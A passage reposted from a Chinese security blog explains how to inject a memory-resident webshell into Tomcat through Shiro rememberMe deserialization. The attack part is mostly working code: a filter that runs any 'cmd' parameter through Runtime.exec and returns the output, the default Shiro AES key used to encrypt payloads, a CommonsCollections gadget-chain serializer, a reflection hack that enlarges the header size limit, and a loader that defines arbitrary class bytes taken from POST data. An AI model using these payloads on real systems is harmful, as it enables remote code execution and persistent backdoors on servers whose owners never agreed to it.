[Java安全]—Shiro回显内存马注入

news2024/12/26 11:50:00

文章目录

  • 前言
  • 流程分析
    • 寻找response
      • 流程分析
    • 获取Http11Processor
    • 获取AbstractProtocol
    • 获取Connector
    • 获取WebappClassLoader
  • Header 长度限制绕过
    • 1、反射修改maxHeaderSize
    • 2、自定义ClassLoader加载Body数据
  • 后记
  • 参考

前言

接上篇[Java安全]—Tomcat反序列化注入回显内存马_,在上篇提到师傅们找到了一种Tomcat注入回显内存马的方法, 但他其实有个不足之处:由于shiro中自定义了一个filter,因此无法在shiro中注入内存马。

所以在后边师傅们又找到了一个基于全局存储的新思路,可以在除tomcat 7以外的其他版本中使用。

流程分析

寻找response

思路仍然为寻找 tomcat 中哪个类会存储 Request 和 Response

在AbstractProcessor类中发现Request 和 Response,并且是final的,这就意味着一旦赋值后便不会被更改

在这里插入图片描述

所以下面就了解下如何对这两个属性进行的赋值

流程分析

首先在org.apache.coyote.AbstractProtocol#process 中会调用 createProcessor 方法创建Processor,Processo是主要负责请求的预处理

在这里插入图片描述

由于AbstractHttp11Protocol继承AbstractProtocol,所以会调用的AbstractProtocol的createProcessor(),之后会调用Http11Processor的构造方法

在这里插入图片描述

由于 Http11Processor 的父类是 AbstractProcessor 所以这里会调用父类的构造函数

在这里插入图片描述

在构造器中,会初始化 Request 和 Response 然后赋值给 AbstractProcessor 的 request 和 response 属性

在这里插入图片描述

至此我们的 request 和 response 就初始化完毕了,所以现在我们只要获取了 Http11Processor ,那么我们就能获取到我们的 Request 和 Response

获取Http11Processor

Http11Processor在通过createProcessor()创建的Processor中,因此下面的目标就是获取Processor

在createProcessor()下面,通过register方法对其进行了注册

在这里插入图片描述

跟进发现会从 processor 中获取到 RequestInfo类型的请求信息 rp,然后调用 setGlobalProcessor 将我们的 rp 存入子类ConnectionHandler 的 global 属性中

在这里插入图片描述

所以现在我们获取了 AbstractProtocol$ConnectoinHandler 之后我们就可以利用反射获取到其 global 属性,然后再利用反射获取 gloabl 中的 processors 属性,然后通过遍历 processors 我们可以获取到我们需要的 Request 和 Response

获取AbstractProtocol

下面就是寻找存储AbstractProtocol类的地方,或者其子类也可以

AbstractProtocol 是 ProtocolHandler 接口的实现类,所以如果能获取ProtocolHandler类也可以,在Connector类中发现了该类型的属性,所以只需要获取Connector类,就可以通过反射获取该属性

在这里插入图片描述

现在的调用链为:

Connector 	->
AbstractProtocol$ConnectoinHandler ->
global		->
Processor	->
Request 	->
Response

获取Connector

在 Tomcat 启动的过程中,将会调用setConnector方法将connector放在service中去,也即是StandardService类对象,所以可从 StandardService 中获取到 Connector

在这里插入图片描述

获取WebappClassLoader

可以通过WebappClassLoaderBase 来获取 Tomcat 上下文环境,所以最终的调用链为

WebappClassLoader ->
StandardService  ->
Connector 	->
AbstractProtocol$ConnectoinHandler ->
global		->
Processor	->
Request 	->
Response

POC:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Map;

public class TomcatMemShellInject extends AbstractTranslet implements Filter{

    private final String cmdParamName = "cmd";
    private final static String filterUrlPattern = "/*";
    private final static String filterName = "evilFilter";

    static {
        try {

            Class c = Class.forName("org.apache.catalina.core.StandardContext");

            org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
                    (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            ServletContext servletContext = standardContext.getServletContext();

            Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);
            if (filterConfigs.get(filterName) == null){
                java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
                        .getDeclaredField("state");
                stateField.setAccessible(true);
                stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
                Filter MemShell = new TomcatMemShellInject();

                javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext
                        .addFilter(filterName, MemShell);
                filterRegistration.setInitParameter("encoding", "utf-8");
                filterRegistration.setAsyncSupported(false);
                filterRegistration
                        .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
                                new String[]{filterUrlPattern});

                if (stateField != null) {
                    stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
                }

                if (standardContext != null){
                    Method filterStartMethod = org.apache.catalina.core.StandardContext.class
                            .getMethod("filterStart");
                    filterStartMethod.setAccessible(true);
                    filterStartMethod.invoke(standardContext, null);

                    Class ccc = null;
                    try {
                        ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                    } catch (Throwable t){}
                    if (ccc == null) {
                        try {
                            ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
                        } catch (Throwable t){}
                    }


                    Method m = c.getMethod("findFilterMaps");
                    Object[] filterMaps = (Object[]) m.invoke(standardContext);
                    Object[] tmpFilterMaps = new Object[filterMaps.length];
                    int index = 1;
                    for (int i = 0; i < filterMaps.length; i++) {
                        Object o = filterMaps[i];
                        m = ccc.getMethod("getFilterName");
                        String name = (String) m.invoke(o);
                        if (name.equalsIgnoreCase(filterName)) {
                            tmpFilterMaps[0] = o;
                        } else {
                            tmpFilterMaps[index++] = filterMaps[i];
                        }
                    }
                    for (int i = 0; i < filterMaps.length; i++) {
                        filterMaps[i] = tmpFilterMaps[i];
                    }

                }
            }

        } catch (Exception e){
            e.printStackTrace();
        }
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        System.out.println("Do Filter ......");
        String cmd;
        if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                    new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {

    }
}

aes加密

import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.catalina.startup.Tomcat;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;

import org.apache.coyote.http11.Http11Processor;

public class AESEncode {

    public static void main(String[] args) throws Exception {

        String tomcatHeader = "./tomcatHeader.ser";
        String tomcatInject = "./tomcatInject.ser";
        String tomcatEcho = "./TomcatEcho.ser";


        byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        AesCipherService aes = new AesCipherService();
        ByteSource ciphertext = aes.encrypt(getBytes(tomcatHeader), key);
        System.out.printf(ciphertext.toString());
    }


    public static byte[] getBytes(String path) throws Exception{
        InputStream inputStream = new FileInputStream(path);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        int n = 0;
        while ((n=inputStream.read())!=-1){
            byteArrayOutputStream.write(n);
        }
        byte[] bytes = byteArrayOutputStream.toByteArray();
        return bytes;

    }
}

CC11

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;

@SuppressWarnings("all")
public class CC11Template {

    public static void main(String[] args) throws Exception {


        // 写入.class 文件
        // 将我的恶意类转成字节码,并且反射设置 bytecodes
        byte[] classBytes = getBytes();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Field f0 = templates.getClass().getDeclaredField("_bytecodes");
        f0.setAccessible(true);
        f0.set(templates,targetByteCodes);

        f0 = templates.getClass().getDeclaredField("_name");
        f0.setAccessible(true);
        f0.set(templates,"name");

        f0 = templates.getClass().getDeclaredField("_class");
        f0.setAccessible(true);
        f0.set(templates,null);

        // 利用反射调用 templates 中的 newTransformer 方法
        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
        TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
        HashSet hashset = new HashSet(1);
        hashset.add("foo");
        // 我们要设置 HashSet 的 map 为我们的 HashMap
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }
        f.setAccessible(true);
        HashMap hashset_map = (HashMap) f.get(hashset);

        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        f2.setAccessible(true);
        Object[] array = (Object[])f2.get(hashset_map);

        Object node = array[0];
        if(node == null){
            node = array[1];
        }
        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        keyField.setAccessible(true);
        keyField.set(node,tiedmap);

        // 在 invoke 之后,
        Field f3 = transformer.getClass().getDeclaredField("iMethodName");
        f3.setAccessible(true);
        f3.set(transformer,"newTransformer");

        try{

            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./tomcatHeader.ser"));
//            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./tomcatInject.ser"));
            outputStream.writeObject(hashset);
            outputStream.close();

        }catch(Exception e){
            e.printStackTrace();
        }
    }


    public static byte[] getBytes() throws IOException {
        InputStream inputStream = new FileInputStream(new File("./src/test/java/TomcatHeaderSize.class"));
//        InputStream inputStream = new FileInputStream(new File("./src/test/java/TomcatMemShellInject.class"));


        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        int n = 0;
        while ((n=inputStream.read())!=-1){
            byteArrayOutputStream.write(n);
        }
        byte[] bytes = byteArrayOutputStream.toByteArray();
        System.out.println(bytes);
        return bytes;
    }
}

Header 长度限制绕过

通过CC11将POC的class文件进行序列化后,将序列化文件进行aes加密,传入rememberMe字段,之后会报错Header求情头过大:

在这里插入图片描述

1、反射修改maxHeaderSize

POC:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

@SuppressWarnings("all")
public class TomcatHeaderSize extends AbstractTranslet {

    static {
        try {
            java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
            java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
            java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
            java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize");
            java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
            contextField.setAccessible(true);
            headerSizeField.setAccessible(true);
            serviceField.setAccessible(true);
            requestField.setAccessible(true);
            getHandlerMethod.setAccessible(true);
            org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
                    (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
            org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
            org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
            for (int i = 0; i < connectors.length; i++) {
                if (4 == connectors[i].getScheme().length()) {
                    org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
                    if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
                        Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
                        for (int j = 0; j < classes.length; j++) {
                        // org.apache.coyote.AbstractProtocol$ConnectionHandler
                            if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {
                                java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
                                java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
                                globalField.setAccessible(true);
                                processorsField.setAccessible(true);
                                org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
                                java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
                                for (int k = 0; k < list.size(); k++) {
                                    org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
                                  // 10000 为修改后的 headersize 
                                    headerSizeField.set(tempRequest.getInputBuffer(),10000);
                                }
                            }
                        }
                         // 10000 为修改后的 headersize 
                        ((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000);
                    }
                }
            }
        } catch (Exception e) {
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

同样将文件进行序列化后,进行aes加密传入rememberMe

在这里插入图片描述

之后再将内存马注入

在这里插入图片描述

成功执行命令

在这里插入图片描述

2、自定义ClassLoader加载Body数据

remember中只传入自定义的ClassLoader来获取传入的POST数据

POC:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;



public class MyLoader extends AbstractTranslet {

    static {
        try {
            String pass = "loader";
            System.out.println("Loader load.....");
            org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
                    (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();

            org.apache.catalina.Context context = webappClassLoaderBase.getResources().getContext();
            java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
            contextField.setAccessible(true);
            org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(context);

            java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
            serviceField.setAccessible(true);
            org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);

            org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();

            for (int i = 0; i < connectors.length; i++) {
                if (connectors[i].getScheme().contains("http")) {
                    org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
                    java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler", null);
                    getHandlerMethod.setAccessible(true);
                    org.apache.tomcat.util.net.AbstractEndpoint.Handler connectoinHandler = (org.apache.tomcat.util.net.AbstractEndpoint.Handler) getHandlerMethod.invoke(protocolHandler, null);

                    java.lang.reflect.Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
                    globalField.setAccessible(true);
                    org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(connectoinHandler);

                    java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
                    processorsField.setAccessible(true);
                    java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
                    
                    //通过QueryString筛选
                    for (int k = 0; k < list.size(); k++) {
                        org.apache.coyote.RequestInfo requestInfo = (org.apache.coyote.RequestInfo) list.get(k);
                        if (requestInfo.getCurrentUri().contains("demo")){
                            System.out.println("success");
                            java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
                            requestField.setAccessible(true);
                            org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(requestInfo);
                            org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);

                            org.apache.catalina.connector.Response response = request.getResponse();
                            javax.servlet.http.HttpSession session = request.getSession();
                            String classData = request.getParameter("classData");
                            System.out.println(classData);
                            byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
                            java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
                            defineClassMethod.setAccessible(true);
                            Class cc = (Class) defineClassMethod.invoke(MyLoader.class.getClassLoader(), classBytes, 0, classBytes.length);
                            Class.forName(cc.getName());
                            break;
                        }

                    }
                }
            }

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

请求时url必须加上demo才回加载

后记

这种注入方式其实还有些缺陷:

  1. 不适用于Tomcat7
  2. 需要有可利用反序列化的依赖,如:CommonsCollections等

但是后边通过师傅们的研究,找到了适用于tomcat7的原生依赖利用链,这个以后再分析。

参考

利用shiro反序列化注入冰蝎内存马 - night_ovo - 博客园 (cnblogs.com)

基于全局储存的新思路 | Tomcat的一种通用回显方法研究 (qq.com)

KpLi0rn/ShiroVulnEnv: Shiro内存马注入环境 (github.com)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/358114.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【基于混合激活残差块:超分】

SRNHARB: A deep light-weight image super resolution network using hybrid activation residual blocks &#xff08;SRNHARB&#xff1a;一种基于混合激活残差块的深度轻量图像超分辨率网络&#xff09; 在所有基于图像的应用中&#xff0c;特别是在计算机视觉应用中&…

软件测试期末

考原题就是爽 软件测试技术 知识点整理 https://wenku.baidu.com/view/524c900f4b2fb4daa58da0116c175f0e7cd11913.html 关键知识点 https://www.cnblogs.com/whylaughing/category/813559.html?page1 边界值法不选择无效数据 边界值分析法的基本思想 选取正好等于&am…

PageObject设计模式,在selenium自动化测试中的运用

PageObject设计模式 Web自动化测试框架&#xff08;WebTestFramework&#xff09;是基于Selenium框架且采用PageObject设计模式进行二次开发形成的框架。web测试时,建议强烈推荐使用_谷歌或_火狐浏览器。PageObject设计模式&#xff1a;是将某个页面的所有"元素&#xff…

【网络原理3】TCP连接管理

TCP这种传输层协议必须是有连接的。连接管理&#xff0c;就是TCP当中管理如何建立连接、如何断开连接的方式。 目录 TCP建立连接的方式(三次握手) 合并两次连接之后变成"三次握手" 站在具体发送什么报文的视角&#xff0c;理解三次握手 发送报文之前 第一步:客…

Git - 在主分支上创建分支并提交代码

拉取最新代码 因为当前在 master 分支下&#xff0c;你必须拉取最新代码&#xff0c;保证当前代码与线上同步&#xff08;最新&#xff09;&#xff0c;执行以下命令&#xff1a; git pull origin master创建分支 目前我们在 master 主分支上&#xff0c;需要执行以下命令&…

【Unity】[入门tips与通用性原则] 一些经验技巧和更好地写出简洁易懂的程序的原则方法

本文将持续间断更新 本文主要面向初级程序员&#xff0c;为了方便Unity开发&#xff0c;有些快捷键的方式和一些通用性的技巧tips等会在这篇博客内持续更新&#xff0c;欢迎点赞收藏 快捷键 Ctrl S &#xff1b; 快捷保存&#xff01;闲着没事就来两下&#xff01;CtrlShif…

CMake基础使用和实战详解

CMake基础使用和实战详解一、CMake简介1.1、cmake 的特点1.2、注意1.3、使用建议二、安装 cmake三、CMake的简单使用3.1、准备工作3.2、开始构建3.3、解释CMakeLists.txt的内容3.4、基本语法规则四、更像样的CMake工程4.1、准备工作4.2、构建4.3、语法解释4.4、修改保存目标二进…

水文监测场景的数据通信规约解析和落地实践

[小 迪 导 读]&#xff1a;江苏云上需要通过云平台接入水文设备来实现水文数据的采集、存储、显示、控制、报警及传输等综合功能。企业介绍江苏云上智联物联科技有限公司是专业从事物联网相关产品与解决方案服务的高科技公司&#xff0c;总部位于美丽的江苏无锡。公司遵循“智联…

linux高级命令之死锁

死锁学习目标能够知道产生死锁的原因1. 死锁的概念死锁: 一直等待对方释放锁的情景就是死锁为了更好的理解死锁&#xff0c;来看一个现实生活的效果图:说明:现实社会中&#xff0c;男女双方一直等待对方先道歉的这种行为就好比是死锁。死锁的结果会造成应用程序的停止响应&…

面试官:你是怎样理解Fiber的

hello&#xff0c;这里是潇晨&#xff0c;今天我们来聊一聊Fiber。不知道大家面试的时候有没有遇到过和react Fiber相关的问题呢&#xff0c;这一类问题比较开放&#xff0c;但也是考察对react源码理解深度的问题&#xff0c;如果面试高级前端岗&#xff0c;恰巧你平时用的是re…

细谈JavaWeb中的Request和Response

文章目录1&#xff0c;Request和Response的概述2&#xff0c;Request对象2.1 Request继承体系2.2 Request获取请求数据2.2.1 获取请求行数据2.2.2 获取请求头数据2.2.3 获取请求体数据2.2.4 获取请求参数的通用方式2.4 请求参数中文乱码问题2.4.1 POST请求解决方案2.4.2 GET请求…

MySQL使用C语言连接

文章目录MySQL使用C语言连接引入库下载库文件在项目中使用库使用库连接数据库下发SQL请求获取查询结果MySQL使用C语言连接 引入库 要使用C语言连接MySQL&#xff0c;需要使用MySQL官网提供的库。 下载库文件 下载库文件 首先&#xff0c;进入MySQL官网&#xff0c;选择DEVEL…

Java代码使用最小二乘法实现线性回归预测

最小二乘法简介最小二乘法是一种在误差估计、不确定度、系统辨识及预测、预报等数据处理诸多学科领域得到广泛应用的数学工具。它通过最小化误差&#xff08;真实目标对象与拟合目标对象的差&#xff09;的平方和寻找数据的最佳函数匹配。利用最小二乘法可以简便地求得未知的数…

如何写一个 things3 client

Things3[1] 是一款苹果生态内的任务管理软件&#xff0c;是一家德国公司做的&#xff0c;非常好用。我前后尝试了众多任务管理软件&#xff0c;最终选定 things3&#xff0c;以后有机会会写文章介绍我是如何用 things3 来管理我的日常任务。本文主要介绍欧神写的 tli[2] 工具来…

3D沉浸式体验开发技巧【Three.js】

在本文中&#xff0c;我们将看看如何使用 Three.js 创建一个充满后期效果和微交互的迷你城市。 推荐&#xff1a;将 NSDT场景编辑器 加入你的3D开发工具链。 1、背景介绍 我是一个游戏爱好者。 我一直梦想创建一个交互式迷你城市&#xff0c;使用饱和的颜色&#xff0c;类似于…

Android自动化测试(UiAutomator)——UiObject

本文主要讲解使用UiAutomator的一些技巧&#xff0c;希望对于初学者有一定的帮助 UiObject 1、首先要声明对象 UiObject XXX new UiObject(new Selector) ; 2、其次对对象进行操作 操作类型包括&#xff1a; 执行类&#xff1a;文本输入与清除、点击/长按、拖动/滑动、 …

JAVA JDK 常用工具类和工具方法

目录 Pair与Triple Lists.partition-将一个大集合分成若干 List集合操作的轮子 对象工具Objects 与ObjectUtils 字符串工具 MapUtils Assert断言 switch语句 三目表达式 IOUtils MultiValueMap MultiMap JAVA各个时间类型的转换&#xff08;LocalDate与Date类型&a…

开源软件AirByte:入湖入仓,数据集成管道

从ETL到ELT就传统的 ETL而言&#xff0c;当我们开始构建数据仓库时&#xff0c;都要先去了解业务流程&#xff0c;明晰业务是如何运转的&#xff0c;数据是如何留痕的。通过收集用户的相关需求&#xff0c;从而去规划设计报表。企业需要进行数仓分域、分层、逻辑建模等一系列操…

Linux下程序调试的方法【GDB】GDB相关命令和基础操作(命令收藏)

目录 1、编译 2、启动gdb调试 2.1 直接运行 2.2 运行gdb后使用run命令 2.3 调试已运行的程序 3、图形界面提示 4、调试命令 1、查看源码 2、运⾏程序/查看运⾏信息 3、设置断点 5、单步/跳步执⾏ 6、分割窗口 7、其他命令 8、相关参数 1、编译 在编译时要加上-g选…

stm32f407探索者开发板(十七)——串口寄存器库函数配置方法

文章目录一、STM32串口常用寄存器和库函数1.1 常用的串口寄存器1.2 串口相关的库函数1.3 状态寄存器&#xff08;USART_ SR&#xff09;1.4 数据寄存器&#xff08;USART_ DR&#xff09;1.5 波特率寄存器&#xff08;USART_BRR&#xff09;二、串口配置一般步骤一、STM32串口常…